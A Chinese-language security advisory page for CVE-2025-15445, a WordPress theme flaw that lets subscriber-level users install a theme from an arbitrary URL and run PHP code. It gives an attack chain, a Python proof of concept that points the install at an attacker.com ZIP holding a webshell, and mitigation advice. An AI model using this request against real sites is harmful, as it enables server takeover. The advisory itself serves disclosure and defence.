IPBUF安全漏洞报告
English
CVE-2025-15445 CVSS 5.4 中危

CVE-2025-15445 WordPress主题远程代码执行漏洞

披露日期: 2026-03-28

漏洞信息

漏洞编号
CVE-2025-15445
漏洞类型
远程代码执行
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Restaurant Cafeteria WordPress theme

相关标签

RCEWordPress权限绕过CVE-2025-15445代码执行

漏洞概述

Restaurant Cafeteria WordPress主题在0.4.6及之前版本中存在严重的安全漏洞。由于主题暴露了不安全的admin-ajax操作,且未实施nonce验证或能力检查,导致任何登录用户(包括低权限的订阅者)均可执行特权操作。攻击者可利用此漏洞从用户提供的URL安装并激活恶意主题或插件,从而实现任意PHP代码执行。此外,攻击者还能导入演示内容重写网站配置,包括主题修改、页面、菜单及首页设置。该漏洞CVSS评分为5.4,属于中危级别,需引起重视。

技术细节

该漏洞的核心在于WordPress主题的AJAX处理机制中缺乏权限校验。主题开发者在注册AJAX回调函数时,未验证当前用户是否具备管理主题或安装插件的能力(如未使用`current_user_can`检查),同时也未使用Nonce令牌来验证请求的合法性。受影响的功能点通常涉及主题的安装、激活或演示数据导入。攻击者首先注册一个低权限账号并登录,获取有效的Cookie和Nonce(如果需要,但此处描述为不需要)。随后,攻击者向`/wp-admin/admin-ajax.php`发送POST请求,触发特定的Action(例如安装主题的Action),并将参数中的下载URL指向包含恶意WebShell的ZIP包。服务器端接收请求后,会自动下载并解压该ZIP包到主题目录,并尝试激活。由于WordPress的文件包含机制,激活后的恶意代码将被执行,从而导致服务器被完全控制。

攻击链分析

STEP 1
信息收集
识别目标站点使用的是Restaurant Cafeteria WordPress主题,且版本在0.4.6及以下。
STEP 2
获取低权限账号
在目标站点注册一个普通用户账号(如订阅者Subscriber),并进行登录获取会话Cookie。
STEP 3
发送恶意请求
利用获取的Cookie,向`wp-admin/admin-ajax.php`发送POST请求,触发安装主题的Action,参数中包含指向恶意ZIP包的URL。
STEP 4
代码执行
服务器端下载并解压恶意ZIP包,自动激活其中的主题,执行其中的PHP代码,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxx=..." # Obtained after low-priv login malicious_theme_url = "http://attacker.com/malicious-theme.zip" # Payload data based on vulnerable action # Note: The specific action name depends on the theme's actual implementation payload = { "action": "vulnerable_install_action", # Hypothetical action name "theme_url": malicious_theme_url, "_ajax_nonce": "" # Empty as per description (no nonce check) } headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit sent successfully. Check for webshell.") else: print("[-] Exploit failed.")

影响范围

Restaurant Cafeteria WordPress theme <= 0.4.6

防御指南

临时缓解措施
建议立即检查并更新受影响的WordPress主题。如果无法立即更新,应通过Web服务器配置(如.htaccess或Nginx规则)限制对`/wp-admin/admin-ajax.php`的访问,仅允许受信任的IP或管理员角色访问。同时,定期审查服务器文件系统,检测是否存在未知的可疑文件或主题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表